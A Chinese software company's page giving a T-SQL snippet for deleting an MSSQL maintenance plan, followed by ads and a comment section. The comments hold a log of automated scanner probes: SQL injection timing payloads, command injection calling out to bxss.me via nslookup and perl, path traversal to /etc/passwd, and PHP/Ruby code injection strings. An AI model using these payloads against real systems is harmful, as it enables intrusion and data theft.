• 电话咨询

  • 13592986386
所在位置:MSSQL无法删除维护计划

MSSQL无法删除维护计划

阅读:799 发表时间:2020/2/8 17:25:42

use [msdb]

declare @job_name varchar(100)
set @job_name = N'5S.Subplan_1'
--注:jobName为维护计划对应的jobName
--删除在计划里面的日志
delete sysmaintplan_log from sysmaintplan_subplans as subplans
inner join sysjobs_view as syjobs on subplans.job_id = syjobs.job_id
inner join sysmaintplan_log on subplans.subplan_id =sysmaintplan_log.subplan_id
where (syjobs.name = @job_name)
--删除代理的作业
delete sysjobschedules from sysjobs_view v
inner join sysjobschedules o on v.job_id=o.job_id where v.name=@job_name
--删除子计划
delete sysmaintplan_subplans from sysmaintplan_subplans as subplans
inner join sysjobs_view as syjobs on subplans.job_id = syjobs.job_id
where (syjobs.name = @job_name)
--删除作业

致胜软件

 

因为通用软件的局限性而改变企业经营方式?

那这是反人类的!!!

致胜软件根据需求定制,永远为您而变!

 

致胜网络的理念

 

面对面给客户最实在的 最贴心的服务!

强大的技术团队,过百的案例与经验!

在三线城市开发,按三线城市等级收费!

 

致胜网络介绍

 

2009年成立,至今7年。!

7年的专业,7年之痒!

期待可以为您提供长期服务!

 

想进一步了解

 

欢迎您的咨询?

QQ:1990654

微信:13592986386

电话:13592986386

网友留言
: 2021/11/7 23:21:48
1
: 2021/11/8 0:05:14
1
: 2021/11/8 0:06:28
1
: 2021/11/8 0:06:51
1
: 2021/11/8 0:06:51
1
: 2021/11/8 0:06:52
jA0E1UYm
: 2021/11/8 0:06:52
-1 OR 2+342-342-1=0+0+0+1 --
: 2021/11/8 0:06:52
-1 OR 2+701-701-1=0+0+0+1
: 2021/11/8 0:06:52
-1' OR 2+967-967-1=0+0+0+1 --
: 2021/11/8 0:06:52
-1' OR 2+101-101-1=0+0+0+1 or 'q0s9nUOn'='
: 2021/11/8 0:06:52
-1" OR 2+194-194-1=0+0+0+1 --
: 2021/11/8 0:06:52
if(now()=sysdate(),sleep(15),0)
: 2021/11/8 0:06:52
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
: 2021/11/8 0:06:53
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
: 2021/11/8 0:06:53
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
: 2021/11/8 0:06:53
-1; waitfor delay '0:0:15' --
: 2021/11/8 0:06:53
-1); waitfor delay '0:0:15' --
: 2021/11/8 0:06:54
-1)); waitfor delay '0:0:15' --
: 2021/11/8 0:06:54
1 waitfor delay '0:0:15' --
: 2021/11/8 0:06:54
Yns7e4Pv'; waitfor delay '0:0:15' --
: 2021/11/8 0:06:54
6BQeb42l'); waitfor delay '0:0:15' --
: 2021/11/8 0:06:54
jBpGNOKk')); waitfor delay '0:0:15' --
: 2021/11/8 0:06:55
-5 OR 627=(SELECT 627 FROM PG_SLEEP(15))--
: 2021/11/8 0:06:55
-5) OR 849=(SELECT 849 FROM PG_SLEEP(15))--
: 2021/11/8 0:06:56
-1)) OR 108=(SELECT 108 FROM PG_SLEEP(15))--
: 2021/11/8 0:06:56
RqqnvrnV' OR 640=(SELECT 640 FROM PG_SLEEP(15))--
: 2021/11/8 0:06:56
XWtiVaVu') OR 118=(SELECT 118 FROM PG_SLEEP(15))--
: 2021/11/8 0:06:57
xMsmnXqO')) OR 377=(SELECT 377 FROM PG_SLEEP(15))--
: 2021/11/8 0:06:57
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
: 2021/11/8 0:06:57
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
: 2021/11/8 0:06:57
1'"
: 2021/11/8 0:06:57
1困愧%2527%2522
: 2021/11/8 0:06:58
@@szeuF
: 2021/11/8 0:06:58
1
: 2021/11/8 0:06:58
1
: 2021/11/8 0:07:01
response.write(9264120*9135438)
: 2021/11/8 0:07:01
/../../../../../../../../../../windows/system32/BITSADMIN.exe
: 2021/11/8 0:07:01
'+response.write(9264120*9135438)+'
: 2021/11/8 0:07:02
"+response.write(9264120*9135438)+"
: 2021/11/8 0:07:02
1
: 2021/11/8 0:07:02
1
: 2021/11/8 0:07:03
echo ftizgc$()\ nfoxnr\nz^xyu||a #' &echo ftizgc$()\ nfoxnr\nz^xyu||a #|" &echo ftizgc$()\ nfoxnr\nz^xyu||a #
: 2021/11/8 0:07:03
1
: 2021/11/8 0:07:03
1
: 2021/11/8 0:07:03
1
: 2021/11/8 0:07:04
&echo bojjzb$()\ obvmwm\nz^xyu||a #' &echo bojjzb$()\ obvmwm\nz^xyu||a #|" &echo bojjzb$()\ obvmwm\nz^xyu||a #
: 2021/11/8 0:07:04
|echo zchbuy$()\ bkrphy\nz^xyu||a #' |echo zchbuy$()\ bkrphy\nz^xyu||a #|" |echo zchbuy$()\ bkrphy\nz^xyu||a #
: 2021/11/8 0:07:05
(nslookup hitvpsduintfr04a28.bxss.me||perl -e "gethostbyname('hitvpsduintfr04a28.bxss.me')")
: 2021/11/8 0:07:05
$(nslookup hitzchopklckn4666a.bxss.me||perl -e "gethostbyname('hitzchopklckn4666a.bxss.me')")
: 2021/11/8 0:07:05
&(nslookup hitmjtthilsdw660a2.bxss.me||perl -e "gethostbyname('hitmjtthilsdw660a2.bxss.me')")&'\"`0&(nslookup hitmjtthilsdw660a2.bxss.me||perl -e "gethostbyname('hitmjtthilsdw660a2.bxss.me')")&`'
: 2021/11/8 0:07:05
1
: 2021/11/8 0:07:05
|(nslookup hitfpevoqvxtn5dcef.bxss.me||perl -e "gethostbyname('hitfpevoqvxtn5dcef.bxss.me')")
: 2021/11/8 0:07:05
`(nslookup hitzflrhectju60b8d.bxss.me||perl -e "gethostbyname('hitzflrhectju60b8d.bxss.me')")`
: 2021/11/8 0:07:06
1
: 2021/11/8 0:07:06
1
: 2021/11/8 0:07:06
YLz8KLXd
: 2021/11/8 0:07:06
;(nslookup hitddlletbbgi75ae9.bxss.me||perl -e "gethostbyname('hitddlletbbgi75ae9.bxss.me')")|(nslookup hitddlletbbgi75ae9.bxss.me||perl -e "gethostbyname('hitddlletbbgi75ae9.bxss.me')")&(nslookup hitddlletbbgi75ae9.bxss.me||perl -e "gethostbyname('hitddl
: 2021/11/8 0:07:06
1
: 2021/11/8 0:07:06
1
: 2021/11/8 0:07:06
../../../../../../../../../../../../../../etc/passwd
: 2021/11/8 0:07:06
../../../../../../../../../../../../../../windows/win.ini
: 2021/11/8 0:07:07
1
: 2021/11/8 0:07:07
../1
: 2021/11/8 0:07:07
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:08
1
: 2021/11/8 0:07:09
1
: 2021/11/8 0:07:09
1
: 2021/11/8 0:07:09
1
: 2021/11/8 0:07:09
1
: 2021/11/8 0:07:09
1
: 2021/11/8 0:07:09
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:10
1
: 2021/11/8 0:07:11
: 2021/11/8 0:07:11
1
: 2021/11/8 0:07:11
12345'"\'\");|]*{
<>?'馃挕
: 2021/11/8 0:07:11
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:13
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:14
1
: 2021/11/8 0:07:15
1
: 2021/11/8 0:07:15
1
: 2021/11/8 0:07:15
1
: 2021/11/8 0:07:15
1
: 2021/11/8 0:07:15
1
: 2021/11/8 0:07:15
1
: 2021/11/8 0:07:16
1
: 2021/11/8 0:07:16
${9999310+9999091}
: 2021/11/8 0:07:16
1
: 2021/11/8 0:07:16
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
: 2021/11/8 0:07:16
1
: 2021/11/8 0:07:16
1
: 2021/11/8 0:07:16
1some_inexistent_file_with_long_name.jpg
: 2021/11/8 0:07:17
1&n931797=v912168
: 2021/11/8 0:07:17
)
: 2021/11/8 0:07:17
Http://bxss.me/t/fit.txt
: 2021/11/8 0:07:17
1
: 2021/11/8 0:07:17
http://bxss.me/t/fit.txt?.jpg
: 2021/11/8 0:07:17
bxss.me
: 2021/11/8 0:07:18
1
: 2021/11/8 0:07:18
1
: 2021/11/8 0:07:18
'"()
: 2021/11/8 0:07:18
1
: 2021/11/8 0:07:18
!(()&&!|*|*|
: 2021/11/8 0:07:18
^(#$!@#$)(()))******
: 2021/11/8 0:07:19
1
: 2021/11/8 0:07:19
1
: 2021/11/8 0:07:19
1
: 2021/11/8 0:07:19
'.gethostbyname(lc('hitbk'.'amlbgumy008d0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(77).chr(103).chr(68).'
: 2021/11/8 0:07:20
".gethostbyname(lc("hitco"."cwjriesp80182.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(74).chr(101).chr(80)."
: 2021/11/8 0:07:20
1
: 2021/11/8 0:07:20
1
: 2021/11/8 0:07:20
1
: 2021/11/8 0:07:20
1
: 2021/11/8 0:07:20
1
: 2021/11/8 0:07:20
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:21
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:22
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
';print(md5(31337));$a='
: 2021/11/8 0:07:23
";print(md5(31337));$a="
: 2021/11/8 0:07:23
1
: 2021/11/8 0:07:23
${@print(md5(31337))}
: 2021/11/8 0:07:23
${@print(md5(31337))}\
: 2021/11/8 0:07:23
HttP://bxss.me/t/xss.html?%00
: 2021/11/8 0:07:23
'.print(md5(31337)).'
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
bxss.me/t/xss.html?%00
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:24
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
"+"A".concat(70-3).concat(22*4).concat(112).concat(84).concat(113).concat(73)+(require"socket"
Socket.gethostbyname("hitij"+"pcwrsajp4d0e9.bxss.me.")[3].to_s)+"
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
1
: 2021/11/8 0:07:25
'+'A'.concat(70-3).concat(22*4).concat(119).concat(85).concat(115).concat(67)+(require'socket'
Socket.gethostbyname('hitfs'+'gdapjefoff22e.bxss.me.')[3].to_s)+'
: 2021/11/8 0:07:25
RequestCSView.aspx
: 2021/11/8 0:07:26
RequestCSView.aspx
: 2021/11/8 0:07:26
RequestCSView.aspx/.
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:26
1
: 2021/11/8 0:07:27
1
: 2021/11/8 0:07:27
1
: 2021/11/8 0:07:27
1
: 2021/11/8 0:07:28
1
: 2021/11/8 0:07:28
1
: 2021/11/8 0:07:28
1
: 2021/11/8 0:07:28
1
: 2021/11/8 0:07:28
1
: 2021/11/8 0:07:28
1
: 2021/11/8 0:07:28
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
: 2021/11/8 0:07:28
/xfs.bxss.me
: 2021/11/8 0:07:29
1
: 2021/11/8 0:07:29
1
: 2021/11/8 0:07:29
1
: 2021/11/8 0:07:29
'"
: 2021/11/8 0:07:29
友情连接: 茂名传媒网   
茂名网站建设,茂名网站设计,茂名APP开发,茂名软件开发,茂名OA办公系统---致胜网络
联系電話:13592986386  Email:1990654@qq.com
公司地址:茂名市人民南路新村大院22号101
联系  QQ:1990654   1990654   
备案号码:粤ICP备11102194号-4
登陆后台 技术支持:致胜网络